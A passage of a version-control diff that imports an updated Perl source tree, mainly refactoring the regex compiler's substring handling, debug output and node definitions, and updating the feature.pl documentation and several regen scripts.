+        put_charclass_bitmap_innards(sv, NULL, cp_list, NULL, NULL, TRUE);
+	Perl_sv_catpvf(aTHX_ sv, "%s]", PL_colors[1]);
+
+        SvREFCNT_dec(cp_list);
+    }
     else if (k == POSIXD || k == NPOSIXD) {
         U8 index = FLAGS(o) * 2;
         if (index < C_ARRAY_LENGTH(anyofs)) {
@@ -19334,8 +20051,11 @@
 
     /* add on the verb argument if there is one */
     if ( ( k == VERB || OP(o) == ACCEPT || OP(o) == OPFAIL ) && o->flags) {
-        Perl_sv_catpvf(aTHX_ sv, ":%" SVf,
+        if ( ARG(o) )
+            Perl_sv_catpvf(aTHX_ sv, ":%" SVf,
                        SVfARG((MUTABLE_SV(progi->data->data[ ARG( o ) ]))));
+        else
+            sv_catpvs(sv, ":NULL");
     }
 #else
     PERL_UNUSED_CONTEXT;
@@ -19371,7 +20091,7 @@
 		      PL_colors[5],PL_colors[0],
 		      s,
 		      PL_colors[1],
-		      (strlen(s) > 60 ? "..." : ""));
+		      (strlen(s) > PL_dump_re_max_len ? "..." : ""));
 	} );
 
     /* use UTF8 check substring if regexp pattern itself is in UTF8 */
@@ -19410,13 +20130,13 @@
     } else {
         CALLREGFREE_PVT(rx); /* free the private data */
         SvREFCNT_dec(RXp_PAREN_NAMES(r));
-	Safefree(r->xpv_len_u.xpvlenu_pv);
     }
     if (r->substrs) {
-        SvREFCNT_dec(r->anchored_substr);
-        SvREFCNT_dec(r->anchored_utf8);
-        SvREFCNT_dec(r->float_substr);
-        SvREFCNT_dec(r->float_utf8);
+        int i;
+        for (i = 0; i < 2; i++) {
+            SvREFCNT_dec(r->substrs->data[i].substr);
+            SvREFCNT_dec(r->substrs->data[i].utf8_substr);
+        }
 	Safefree(r->substrs);
     }
     RX_MATCH_COPY_FREE(rx);
@@ -19427,12 +20147,19 @@
     SvREFCNT_dec(r->qr_anoncv);
     if (r->recurse_locinput)
         Safefree(r->recurse_locinput);
-    rx->sv_u.svu_rx = 0;
 }
 
+
 /*  reg_temp_copy()
 
-    This is a hacky workaround to the structural issue of match results
+    Copy ssv to dsv, both of which should of type SVt_REGEXP or SVt_PVLV,
+    except that dsv will be created if NULL.
+
+    This function is used in two main ways. First to implement
+        $r = qr/....; $s = $$r;
+
+    Secondly, it is used as a hacky workaround to the structural issue of
+    match results
     being stored in the regexp structure which is in turn stored in
     PL_curpm/PL_reg_curpm. The problem is that due to qr// the pattern
     could be PL_curpm in multiple contexts, and could require multiple
@@ -19448,75 +20175,80 @@
 
 
 REGEXP *
-Perl_reg_temp_copy (pTHX_ REGEXP *ret_x, REGEXP *rx)
+Perl_reg_temp_copy(pTHX_ REGEXP *dsv, REGEXP *ssv)
 {
-    struct regexp *ret;
-    struct regexp *const r = ReANY(rx);
-    const bool islv = ret_x && SvTYPE(ret_x) == SVt_PVLV;
+    struct regexp *drx;
+    struct regexp *const srx = ReANY(ssv);
+    const bool islv = dsv && SvTYPE(dsv) == SVt_PVLV;
 
     PERL_ARGS_ASSERT_REG_TEMP_COPY;
 
-    if (!ret_x)
-	ret_x = (REGEXP*) newSV_type(SVt_REGEXP);
+    if (!dsv)
+	dsv = (REGEXP*) newSV_type(SVt_REGEXP);
     else {
-	SvOK_off((SV *)ret_x);
+	SvOK_off((SV *)dsv);
 	if (islv) {
-	    /* For PVLVs, SvANY points to the xpvlv body while sv_u points
-	       to the regexp.  (For SVt_REGEXPs, sv_upgrade has already
-	       made both spots point to the same regexp body.) */
+	    /* For PVLVs, the head (sv_any) points to an XPVLV, while
+             * the LV's xpvlenu_rx will point to a regexp body, which
+             * we allocate here */
 	    REGEXP *temp = (REGEXP *)newSV_type(SVt_REGEXP);
-	    assert(!SvPVX(ret_x));
-	    ret_x->sv_u.svu_rx = temp->sv_any;
+	    assert(!SvPVX(dsv));
+            ((XPV*)SvANY(dsv))->xpv_len_u.xpvlenu_rx = temp->sv_any;
 	    temp->sv_any = NULL;
 	    SvFLAGS(temp) = (SvFLAGS(temp) & ~SVTYPEMASK) | SVt_NULL;
 	    SvREFCNT_dec_NN(temp);
 	    /* SvCUR still resides in the xpvlv struct, so the regexp copy-
 	       ing below will not set it. */
-	    SvCUR_set(ret_x, SvCUR(rx));
+	    SvCUR_set(dsv, SvCUR(ssv));
 	}
     }
     /* This ensures that SvTHINKFIRST(sv) is true, and hence that
        sv_force_normal(sv) is called.  */
-    SvFAKE_on(ret_x);
-    ret = ReANY(ret_x);
+    SvFAKE_on(dsv);
+    drx = ReANY(dsv);
 
-    SvFLAGS(ret_x) |= SvUTF8(rx);
+    SvFLAGS(dsv) |= SvFLAGS(ssv) & (SVf_POK|SVp_POK|SVf_UTF8);
+    SvPV_set(dsv, RX_WRAPPED(ssv));
     /* We share the same string buffer as the original regexp, on which we
        hold a reference count, incremented when mother_re is set below.
        The string pointer is copied here, being part of the regexp struct.
      */
-    memcpy(&(ret->xpv_cur), &(r->xpv_cur),
+    memcpy(&(drx->xpv_cur), &(srx->xpv_cur),
 	   sizeof(regexp) - STRUCT_OFFSET(regexp, xpv_cur));
-    if (r->offs) {
-        const I32 npar = r->nparens+1;
-        Newx(ret->offs, npar, regexp_paren_pair);
-        Copy(r->offs, ret->offs, npar, regexp_paren_pair);
+    if (!islv)
+        SvLEN_set(dsv, 0);
+    if (srx->offs) {
+        const I32 npar = srx->nparens+1;
+        Newx(drx->offs, npar, regexp_paren_pair);
+        Copy(srx->offs, drx->offs, npar, regexp_paren_pair);
     }
-    if (r->substrs) {
-        Newx(ret->substrs, 1, struct reg_substr_data);
-	StructCopy(r->substrs, ret->substrs, struct reg_substr_data);
+    if (srx->substrs) {
+        int i;
+        Newx(drx->substrs, 1, struct reg_substr_data);
+	StructCopy(srx->substrs, drx->substrs, struct reg_substr_data);
 
-	SvREFCNT_inc_void(ret->anchored_substr);
-	SvREFCNT_inc_void(ret->anchored_utf8);
-	SvREFCNT_inc_void(ret->float_substr);
-	SvREFCNT_inc_void(ret->float_utf8);
+        for (i = 0; i < 2; i++) {
+            SvREFCNT_inc_void(drx->substrs->data[i].substr);
+            SvREFCNT_inc_void(drx->substrs->data[i].utf8_substr);
+        }
 
 	/* check_substr and check_utf8, if non-NULL, point to either their
 	   anchored or float namesakes, and don't hold a second reference.  */
     }
-    RX_MATCH_COPIED_off(ret_x);
+    RX_MATCH_COPIED_off(dsv);
 #ifdef PERL_ANY_COW
-    ret->saved_copy = NULL;
+    drx->saved_copy = NULL;
 #endif
-    ret->mother_re = ReREFCNT_inc(r->mother_re ? r->mother_re : rx);
-    SvREFCNT_inc_void(ret->qr_anoncv);
-    if (r->recurse_locinput)
-        Newxz(ret->recurse_locinput,r->nparens + 1,char *);
+    drx->mother_re = ReREFCNT_inc(srx->mother_re ? srx->mother_re : ssv);
+    SvREFCNT_inc_void(drx->qr_anoncv);
+    if (srx->recurse_locinput)
+        Newx(drx->recurse_locinput,srx->nparens + 1,char *);
 
-    return ret_x;
+    return dsv;
 }
 #endif
 
+
 /* regfree_internal()
 
    Free the private data in a regexp. This is overloadable by
@@ -19544,7 +20276,7 @@
 	{
 	    SV *dsv= sv_newmortal();
             RE_PV_QUOTED_DECL(s, RX_UTF8(rx),
-                dsv, RX_PRECOMP(rx), RX_PRELEN(rx), 60);
+                dsv, RX_PRECOMP(rx), RX_PRELEN(rx), PL_dump_re_max_len);
             Perl_re_printf( aTHX_ "%sFreeing REx:%s %s\n",
                 PL_colors[4],PL_colors[5],s);
         }
@@ -19678,16 +20410,19 @@
 	/* Do it this way to avoid reading from *r after the StructCopy().
 	   That way, if any of the sv_dup_inc()s dislodge *r from the L1
 	   cache, it doesn't matter.  */
+        int i;
 	const bool anchored = r->check_substr
-	    ? r->check_substr == r->anchored_substr
-	    : r->check_utf8 == r->anchored_utf8;
+	    ? r->check_substr == r->substrs->data[0].substr
+	    : r->check_utf8   == r->substrs->data[0].utf8_substr;
         Newx(ret->substrs, 1, struct reg_substr_data);
 	StructCopy(r->substrs, ret->substrs, struct reg_substr_data);
 
-	ret->anchored_substr = sv_dup_inc(ret->anchored_substr, param);
-	ret->anchored_utf8 = sv_dup_inc(ret->anchored_utf8, param);
-	ret->float_substr = sv_dup_inc(ret->float_substr, param);
-	ret->float_utf8 = sv_dup_inc(ret->float_utf8, param);
+        for (i = 0; i < 2; i++) {
+            ret->substrs->data[i].substr =
+                        sv_dup_inc(ret->substrs->data[i].substr, param);
+            ret->substrs->data[i].utf8_substr =
+                        sv_dup_inc(ret->substrs->data[i].utf8_substr, param);
+        }
 
 	/* check_substr and check_utf8, if non-NULL, point to either their
 	   anchored or float namesakes, and don't hold a second reference.  */
@@ -19694,20 +20429,22 @@
 
 	if (ret->check_substr) {
 	    if (anchored) {
-		assert(r->check_utf8 == r->anchored_utf8);
-		ret->check_substr = ret->anchored_substr;
-		ret->check_utf8 = ret->anchored_utf8;
+		assert(r->check_utf8 == r->substrs->data[0].utf8_substr);
+
+		ret->check_substr = ret->substrs->data[0].substr;
+		ret->check_utf8   = ret->substrs->data[0].utf8_substr;
 	    } else {
-		assert(r->check_substr == r->float_substr);
-		assert(r->check_utf8 == r->float_utf8);
-		ret->check_substr = ret->float_substr;
-		ret->check_utf8 = ret->float_utf8;
+		assert(r->check_substr == r->substrs->data[1].substr);
+		assert(r->check_utf8   == r->substrs->data[1].utf8_substr);
+
+		ret->check_substr = ret->substrs->data[1].substr;
+		ret->check_utf8   = ret->substrs->data[1].utf8_substr;
 	    }
 	} else if (ret->check_utf8) {
 	    if (anchored) {
-		ret->check_utf8 = ret->anchored_utf8;
+		ret->check_utf8 = ret->substrs->data[0].utf8_substr;
 	    } else {
-		ret->check_utf8 = ret->float_utf8;
+		ret->check_utf8 = ret->substrs->data[1].utf8_substr;
 	    }
 	}
     }
@@ -19715,7 +20452,7 @@
     RXp_PAREN_NAMES(ret) = hv_dup_inc(RXp_PAREN_NAMES(ret), param);
     ret->qr_anoncv = MUTABLE_CV(sv_dup_inc((const SV *)ret->qr_anoncv, param));
     if (r->recurse_locinput)
-        Newxz(ret->recurse_locinput,r->nparens + 1,char *);
+        Newx(ret->recurse_locinput,r->nparens + 1,char *);
 
     if (ret->pprivate)
 	RXi_SET(ret,CALLREGDUPE_PVT(dstr,param));
@@ -19734,7 +20471,7 @@
 	       1: a buffer in a different thread
 	       2: something we no longer hold a reference on
 	       so we need to copy it locally.  */
-    RX_WRAPPED(dstr) = SAVEPVN(RX_WRAPPED(sstr), SvCUR(sstr)+1);
+    RX_WRAPPED(dstr) = SAVEPVN(RX_WRAPPED_const(sstr), SvCUR(sstr)+1);
     ret->mother_re   = NULL;
 }
 #endif /* PERL_IN_XSUB_RE */
@@ -19803,14 +20540,25 @@
 	    d->what[i] = ri->data->what[i];
 	    switch (d->what[i]) {
 	        /* see also regcomp.h and regfree_internal() */
-	    case 'a': /* actually an AV, but the dup function is identical.  */
-	    case 'r':
-	    case 's':
-	    case 'S':
-	    case 'u': /* actually an HV, but the dup function is identical.  */
+            case 'a': /* actually an AV, but the dup function is identical.
+                         values seem to be "plain sv's" generally. */
+            case 'r': /* a compiled regex (but still just another SV) */
+            case 's': /* an RV (currently only used for an RV to an AV by the ANYOF code)
+                         this use case should go away, the code could have used
+                         'a' instead - see S_set_ANYOF_arg() for array contents. */
+            case 'S': /* actually an SV, but the dup function is identical.  */
+            case 'u': /* actually an HV, but the dup function is identical.
+                         values are "plain sv's" */
 		d->data[i] = sv_dup_inc((const SV *)ri->data->data[i], param);
 		break;
 	    case 'f':
+                /* Synthetic Start Class - "Fake" charclass we generate to optimize
+                 * patterns which could start with several different things. Pre-TRIE
+                 * this was more important than it is now, however this still helps
+                 * in some places, for instance /x?a+/ might produce a SSC equivalent
+                 * to [xa]. This is used by Perl_re_intuit_start() and S_find_byclass()
+                 * in regexec.c
+                 */
 		/* This is cheating. */
 		Newx(d->data[i], 1, regnode_ssc);
 		StructCopy(ri->data->data[i], d->data[i], regnode_ssc);
@@ -19817,7 +20565,8 @@
 		reti->regstclass = (regnode*)d->data[i];
 		break;
 	    case 'T':
-		/* Trie stclasses are readonly and can thus be shared
+                /* AHO-CORASICK fail table */
+                /* Trie stclasses are readonly and can thus be shared
 		 * without duplication. We free the stclass in pregfree
 		 * when the corresponding reg_ac_data struct is freed.
 		 */
@@ -19824,12 +20573,14 @@
 		reti->regstclass= ri->regstclass;
 		/* FALLTHROUGH */
 	    case 't':
+                /* TRIE transition table */
 		OP_REFCNT_LOCK;
 		((reg_trie_data*)ri->data->data[i])->refcount++;
 		OP_REFCNT_UNLOCK;
 		/* FALLTHROUGH */
-	    case 'l':
-	    case 'L':
+            case 'l': /* (?{...}) or (??{ ... }) code (cb->block) */
+            case 'L': /* same when RExC_pm_flags & PMf_HAS_CV and code
+                         is not from another regexp */
 		d->data[i] = ri->data->data[i];
 		break;
             default:
@@ -20154,9 +20905,9 @@
 #else
         format = "\\x%02" UVXf "-\\x%02" UVXf;
 #endif
-        GCC_DIAG_IGNORE(-Wformat-nonliteral);
+        GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
         Perl_sv_catpvf(aTHX_ sv, format, start, this_end);
-        GCC_DIAG_RESTORE;
+        GCC_DIAG_RESTORE_STMT;
         break;
     }
 }
@@ -20305,7 +21056,7 @@
 {
     /* Appends to 'sv' a displayable version of the innards of the bracketed
      * character class defined by the other arguments:
-     *  'bitmap' points to the bitmap.
+     *  'bitmap' points to the bitmap, or NULL if to ignore that.
      *  'nonbitmap_invlist' is an inversion list of the code points that are in
      *      the bitmap range, but for some reason aren't in the bitmap; NULL if
      *      none.  The reasons for this could be that they require some
@@ -20314,9 +21065,9 @@
      *      was not resolved at the time of the regex compilation (under /u)
      *  'only_utf8_locale_invlist' is an inversion list of the code points that
      *      are valid only if the runtime locale is a UTF-8 one; NULL if none
-     *  'node' is the regex pattern node.  It is needed only when the above two
-     *      parameters are not null, and is passed so that this routine can
-     *      tease apart the various reasons for them.
+     *  'node' is the regex pattern ANYOF node.  It is needed only when the
+     *      above two parameters are not null, and is passed so that this
+     *      routine can tease apart the various reasons for them.
      *  'force_as_is_display' is TRUE if this routine should definitely NOT try
      *      to invert things to see if that leads to a cleaner display.  If
      *      FALSE, this routine is free to use its judgment about doing this.
@@ -20416,13 +21167,16 @@
     }
 
     /* Accumulate the bit map into the unconditional match list */
-    for (i = 0; i < NUM_ANYOF_CODE_POINTS; i++) {
-        if (BITMAP_TEST(bitmap, i)) {
-            int start = i++;
-            for (; i < NUM_ANYOF_CODE_POINTS && BITMAP_TEST(bitmap, i); i++) {
-                /* empty */
+    if (bitmap) {
+        for (i = 0; i < NUM_ANYOF_CODE_POINTS; i++) {
+            if (BITMAP_TEST(bitmap, i)) {
+                int start = i++;
+                for (;
+                     i < NUM_ANYOF_CODE_POINTS && BITMAP_TEST(bitmap, i);
+                     i++)
+                { /* empty */ }
+                invlist = _add_range_to_invlist(invlist, start, i-1);
             }
-            invlist = _add_range_to_invlist(invlist, start, i-1);
         }
     }
 
@@ -20589,7 +21343,7 @@
 	/* While that wasn't END last time... */
 	NODE_ALIGN(node);
 	op = OP(node);
-	if (op == CLOSE || op == WHILEM)
+	if (op == CLOSE || op == SRCLOSE || op == WHILEM)
 	    indent--;
 	next = regnext((regnode *)node);
 
@@ -20656,7 +21410,7 @@
                     indent+3,
                     elem_ptr
                     ? pv_pretty(sv, SvPV_nolen_const(*elem_ptr),
-                                SvCUR(*elem_ptr), 60,
+                                SvCUR(*elem_ptr), PL_dump_re_max_len,
                                 PL_colors[0], PL_colors[1],
                                 (SvUTF8(*elem_ptr)
                                  ? PERL_PV_ESCAPE_UNI
@@ -20713,7 +21467,7 @@
 	    node = NEXTOPER(node);
 	    node += regarglen[(U8)op];
 	}
-	if (op == CURLYX || op == OPEN)
+	if (op == CURLYX || op == OPEN || op == SROPEN)
 	    indent++;
     }
     CLEAR_OPTSTART;

Modified: vendor/perl/dist/regcomp.h
===================================================================
--- vendor/perl/dist/regcomp.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regcomp.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1063,29 +1063,27 @@
 
 #ifdef DEBUGGING
 
-#define GET_RE_DEBUG_FLAGS_DECL VOL IV re_debug_flags  = 0; \
+#define GET_RE_DEBUG_FLAGS_DECL volatile IV re_debug_flags = 0; \
         PERL_UNUSED_VAR(re_debug_flags); GET_RE_DEBUG_FLAGS;
 
-#define RE_PV_COLOR_DECL(rpv,rlen,isuni,dsv,pv,l,m,c1,c2) \
-    const char * const rpv =                                 \
-        pv_pretty((dsv), (pv), (l),                          \
-            (PL_dump_re_max_len) ? PL_dump_re_max_len : (m), \
-            PL_colors[(c1)],PL_colors[(c2)],                 \
+#define RE_PV_COLOR_DECL(rpv,rlen,isuni,dsv,pv,l,m,c1,c2)   \
+    const char * const rpv =                                \
+        pv_pretty((dsv), (pv), (l), (m),                    \
+            PL_colors[(c1)],PL_colors[(c2)],                \
             PERL_PV_ESCAPE_RE|PERL_PV_ESCAPE_NONASCII |((isuni) ? PERL_PV_ESCAPE_UNI : 0) );         \
     const int rlen = SvCUR(dsv)
 
-#define RE_SV_ESCAPE(rpv,isuni,dsv,sv,m)                        \
-    const char * const rpv =                                    \
-        pv_pretty((dsv), (SvPV_nolen_const(sv)), (SvCUR(sv)),   \
-            (PL_dump_re_max_len) ? PL_dump_re_max_len : (m),    \
-            PL_colors[(c1)],PL_colors[(c2)],                    \
+/* This is currently unsed in the core */
+#define RE_SV_ESCAPE(rpv,isuni,dsv,sv,m)                            \
+    const char * const rpv =                                        \
+        pv_pretty((dsv), (SvPV_nolen_const(sv)), (SvCUR(sv)), (m),  \
+            PL_colors[(c1)],PL_colors[(c2)],                        \
             PERL_PV_ESCAPE_RE|PERL_PV_ESCAPE_NONASCII |((isuni) ? PERL_PV_ESCAPE_UNI : 0) )
 
-#define RE_PV_QUOTED_DECL(rpv,isuni,dsv,pv,l,m)                    \
-    const char * const rpv =                                       \
-        pv_pretty((dsv), (pv), (l),                                \
-            (PL_dump_re_max_len) ? PL_dump_re_max_len : (m),       \
-            PL_colors[0], PL_colors[1],                            \
+#define RE_PV_QUOTED_DECL(rpv,isuni,dsv,pv,l,m)                     \
+    const char * const rpv =                                        \
+        pv_pretty((dsv), (pv), (l), (m),                            \
+            PL_colors[0], PL_colors[1],                             \
             ( PERL_PV_PRETTY_QUOTE | PERL_PV_ESCAPE_RE | PERL_PV_ESCAPE_NONASCII | PERL_PV_PRETTY_ELLIPSES | \
               ((isuni) ? PERL_PV_ESCAPE_UNI : 0))                  \
         )
@@ -1104,6 +1102,8 @@
 
 #endif /* DEBUG RELATED DEFINES */
 
+#define FIRST_NON_ASCII_DECIMAL_DIGIT 0x660  /* ARABIC_INDIC_DIGIT_ZERO */
+
 typedef enum {
 	TRADITIONAL_BOUND = _CC_WORDCHAR,
 	GCB_BOUND,

Modified: vendor/perl/dist/regcomp.sym
===================================================================
--- vendor/perl/dist/regcomp.sym	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regcomp.sym	2018-12-22 22:55:19 UTC (rev 12126)
@@ -59,6 +59,7 @@
 ANYOF       ANYOF,      sv 1 S    ; Match character in (or not in) this class, single char match only
 ANYOFD      ANYOF,      sv 1 S    ; Like ANYOF, but /d is in effect
 ANYOFL      ANYOF,      sv 1 S    ; Like ANYOF, but /l is in effect
+ANYOFM      ANYOFM      byte 1 S  ; Like ANYOF, but matches an invariant byte as determined by the mask and arg
 
 #* POSIX Character Classes:
 # Order of the below is important.  See ordering comment above.
@@ -72,6 +73,9 @@
 NPOSIXA     NPOSIXD,    none 0 S   ; complement of POSIXA, [[:^class:]]
 # End of order is important
 
+ASCII       ASCII,      none 0 S   ; [[:ascii:]]
+NASCII      ASCII,      none 0 S   ; [[:^ascii:]]
+
 CLUMP       CLUMP,      no 0 V    ; Match any extended grapheme cluster sequence
 
 #* Alternation
@@ -95,13 +99,13 @@
 EXACTF      EXACT,      str       ; Match this non-UTF-8 string (not guaranteed to be folded) using /id rules (w/len).
 EXACTFL     EXACT,      str       ; Match this string (not guaranteed to be folded) using /il rules (w/len).
 EXACTFU     EXACT,      str	  ; Match this string (folded iff in UTF-8, length in folding doesn't change if not in UTF-8) using /iu rules (w/len).
-EXACTFA     EXACT,      str	  ; Match this string (not guaranteed to be folded) using /iaa rules (w/len).
+EXACTFAA    EXACT,      str	  ; Match this string (not guaranteed to be folded) using /iaa rules (w/len).
 
 # End of important relative ordering.
 
 EXACTFU_SS  EXACT,      str	  ; Match this string (folded iff in UTF-8, length in folding may change even if not in UTF-8) using /iu rules (w/len).
-EXACTFLU8   EXACT,      str	  ; Rare cirucmstances: like EXACTFU, but is under /l, UTF-8, folded, and everything in it is above 255.
-EXACTFA_NO_TRIE  EXACT, str	  ; Match this string (which is not trie-able; not guaranteed to be folded) using /iaa rules (w/len).
+EXACTFLU8   EXACT,      str	  ; Rare circumstances: like EXACTFU, but is under /l, UTF-8, folded, and everything in it is above 255.
+EXACTFAA_NO_TRIE  EXACT, str	  ; Match this string (which is not trie-able; not guaranteed to be folded) using /iaa rules (w/len).
 
 #*Do nothing types
 
@@ -131,7 +135,9 @@
 
 #*OPEN,CLOSE,GROUPP     ...are numbered at compile time.
 OPEN        OPEN,       num 1     ; Mark this point in input as start of #n.
-CLOSE       CLOSE,      num 1     ; Analogous to OPEN.
+CLOSE       CLOSE,      num 1     ; Close corresponding OPEN of #n.
+SROPEN      SROPEN,     none      ; Same as OPEN, but for script run
+SRCLOSE     SRCLOSE,    none      ; Close preceding SROPEN
 
 REF         REF,        num 1 V   ; Match some already matched string
 REFF        REF,        num 1 V   ; Match already matched string, folded using native charset rules for non-utf8

Modified: vendor/perl/dist/regen/ebcdic.pl
===================================================================
--- vendor/perl/dist/regen/ebcdic.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/ebcdic.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -46,8 +46,8 @@
 
 print $out_fh <<END;
 
-#ifndef H_EBCDIC_TABLES   /* Guard against nested #includes */
-#define H_EBCDIC_TABLES   1
+#ifndef PERL_EBCDIC_TABLES_H_   /* Guard against nested #includes */
+#define PERL_EBCDIC_TABLES_H_   1
 
 /* This file contains definitions for various tables used in EBCDIC handling.
  * More info is in utfebcdic.h */
@@ -222,6 +222,6 @@
     print $out_fh get_conditional_compile_line_end();
 }
 
-print $out_fh "\n#endif /* H_EBCDIC_TABLES */\n";
+print $out_fh "\n#endif /* PERL_EBCDIC_TABLES_H_ */\n";
 
 read_only_bottom_close_and_rename($out_fh);

Modified: vendor/perl/dist/regen/feature.pl
===================================================================
--- vendor/perl/dist/regen/feature.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/feature.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -62,6 +62,8 @@
 		    evalbytes current_sub fc postderef_qq)],
     "5.25"   =>	[qw(say state switch unicode_strings unicode_eval
 		    evalbytes current_sub fc postderef_qq)],
+    "5.27"   =>	[qw(say state switch unicode_strings unicode_eval
+		    evalbytes current_sub fc postderef_qq bitwise)],
 );
 
 my @noops = qw( postderef lexical_subs );
@@ -367,7 +369,7 @@
 __END__
 package feature;
 
-our $VERSION = '1.47';
+our $VERSION = '1.52';
 
 FEATURES
 
@@ -485,8 +487,9 @@
 
 This feature is available starting with Perl 5.12; was almost fully
 implemented in Perl 5.14; and extended in Perl 5.16 to cover C<quotemeta>;
-and extended further in Perl 5.26 to cover L<the range
-operator|perlop/Range Operators>.
+was extended further in Perl 5.26 to cover L<the range
+operator|perlop/Range Operators>; and was extended again in Perl 5.28 to
+cover L<special-cased whitespace splitting|perlfunc/split>.
 
 =head2 The 'unicode_eval' and 'evalbytes' features
 
@@ -623,13 +626,6 @@
 
 =head2 The 'bitwise' feature
 
-B<WARNING>: This feature is still experimental and the implementation may
-change in future versions of Perl.  For this reason, Perl will
-warn when you use the feature, unless you have explicitly disabled the
-warning:
-
-    no warnings "experimental::bitwise";
-
 This makes the four standard bitwise operators (C<& | ^ ~>) treat their
 operands consistently as numbers, and introduces four new dotted operators
 (C<&. |. ^. ~.>) that treat their operands consistently as strings.  The
@@ -637,7 +633,10 @@
 
 See L<perlop/Bitwise String Operators> for details.
 
-This feature is available from Perl 5.22 onwards.
+This feature is available from Perl 5.22 onwards.  Starting in Perl 5.28,
+C<use v5.28> will enable the feature.  Before 5.28, it was still
+experimental and would emit a warning in the "experimental::bitwise"
+category.
 
 =head2 The 'declared_refs' feature
 
@@ -717,6 +716,9 @@
 If the required version is older than Perl 5.10, the ":default" feature
 bundle is automatically loaded instead.
 
+Unlike C<use feature ":5.12">, saying C<use v5.12> (or any higher version)
+also does the equivalent of C<use strict>; see L<perlfunc/use> for details.
+
 =back
 
 =cut

Modified: vendor/perl/dist/regen/lib_cleanup.pl
===================================================================
--- vendor/perl/dist/regen/lib_cleanup.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/lib_cleanup.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 require './regen/regen_lib.pl';
 require './Porting/pod_lib.pl';
-use vars qw($TAP $Verbose);
+our ($TAP, $Verbose);
 
 # For processing later
 my @ext;
@@ -154,7 +154,7 @@
 }
 
 process('Makefile.SH', 'Makefile.SH', \&edit_makefile_SH, $TAP && '', $Verbose);
-foreach ('win32/Makefile', 'win32/makefile.mk') {
+foreach ('win32/Makefile', 'win32/makefile.mk', 'win32/GNUmakefile') {
     process($_, $_, \&edit_win32_makefile, $TAP && '', $Verbose);
 }
 
@@ -164,6 +164,11 @@
     exit 0;
 }
 
+if ($ENV{'PERL_BUILD_PACKAGING'}) {
+    print "ok # skip explicitly disabled git tests by PERL_BUILD_PACKAGING\n";
+    exit 0;
+}
+
 $fh = open_new('lib/.gitignore', '>',
                { by => $0,
                  from => 'MANIFEST and parsing files in cpan/ dist/ and ext/'});

Modified: vendor/perl/dist/regen/mg_vtable.pl
===================================================================
--- vendor/perl/dist/regen/mg_vtable.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/mg_vtable.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -92,6 +92,8 @@
 		 desc => 'substr() lvalue' },
      defelem => { char => 'y', vtable => 'defelem', value_magic => 1,
 		  desc => "Shadow \"foreach\" iterator variable /\nsmart parameter vivification" },
+     nonelem => { char => 'Y', vtable => 'nonelem', value_magic => 1,
+		  desc => "Array element that does not exist" },
      arylen => { char => '#', vtable => 'arylen', value_magic => 1,
 		 desc => 'Array length ($#ary)' },
      pos => { char => '.', vtable => 'pos', value_magic => 1,
@@ -137,6 +139,7 @@
      'pos' => {get => 'getpos', set => 'setpos'},
      'uvar' => {get => 'getuvar', set => 'setuvar'},
      'defelem' => {get => 'getdefelem', set => 'setdefelem'},
+     'nonelem' => {set => 'setnonelem'},
      'regexp' => {set => 'setregexp', alias => [qw(bm fm)]},
      'regdata' => {len => 'regdata_cnt'},
      'regdatum' => {get => 'regdatum_get', set => 'regdatum_set'},

Modified: vendor/perl/dist/regen/mk_invlists.pl
===================================================================
--- vendor/perl/dist/regen/mk_invlists.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen/mk_invlists.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,9 +7,11 @@
                     prop_value_aliases
                     prop_invlist
                     prop_invmap search_invlist
+                    charprop
                    );
 require './regen/regen_lib.pl';
 require './regen/charset_translations.pl';
+require './lib/unicore/Heavy.pl';
 
 # This program outputs charclass_invlists.h, which contains various inversion
 # lists in the form of C arrays that are to be used as-is for inversion lists.
@@ -30,149 +32,40 @@
 # integer or float
 my $numeric_re = qr/ ^ -? \d+ (:? \. \d+ )? $ /ax;
 
+my %keywords;
+my $table_name_prefix = "PL_";
+
 # Matches valid C language enum names: begins with ASCII alphabetic, then any
 # ASCII \w
 my $enum_name_re = qr / ^ [[:alpha:]] \w* $ /ax;
 
 my $out_fh = open_new('charclass_invlists.h', '>',
-		      {style => '*', by => $0,
+		      {style => '*', by => 'regen/mk_invlists.pl',
                       from => "Unicode::UCD"});
 
-my $in_file_pound_if = 0;
+my $in_file_pound_if = "";
 
 my $max_hdr_len = 3;    # In headings, how wide a name is allowed?
 
 print $out_fh "/* See the generating file for comments */\n\n";
 
+# enums that should be made public
+my %public_enums = (
+                    #_Perl_SCX => 1
+                    );
+
 # The symbols generated by this program are all currently defined only in a
 # single dot c each.  The code knows where most of them go, but this hash
 # gives overrides for the exceptions to the typical place
 my %exceptions_to_where_to_define =
-                        ( NonL1_Perl_Non_Final_Folds => 'PERL_IN_REGCOMP_C',
-                          AboveLatin1                => 'PERL_IN_REGCOMP_C',
-                          Latin1                     => 'PERL_IN_REGCOMP_C',
-                          UpperLatin1                => 'PERL_IN_REGCOMP_C',
-                          _Perl_Any_Folds            => 'PERL_IN_REGCOMP_C',
-                          _Perl_Folds_To_Multi_Char  => 'PERL_IN_REGCOMP_C',
-                          _Perl_IDCont               => 'PERL_IN_UTF8_C',
-                          _Perl_IDStart              => 'PERL_IN_UTF8_C',
+                        (
+                            #_Perl_IVCF => 'PERL_IN_REGCOMP_C',
                         );
 
-# This hash contains the properties with enums that have hard-coded references
-# to them in C code.  It is neeed to make sure that if perl is compiled
-# with an older Unicode data set, that all the enum values the code is
-# expecting will still be in the enum typedef.  Thus the code doesn't have to
-# change.  The Unicode version won't have any code points that have the enum
-# values not in that version, so the code that handles them will not get
-# exercised.  This is far better than having to #ifdef things.  The names here
-# should be the long names of the respective property values.  The reason for
-# this is because regexec.c uses them as case labels, and the long name is
-# generally more understandable than the short.
-my %hard_coded_enums =
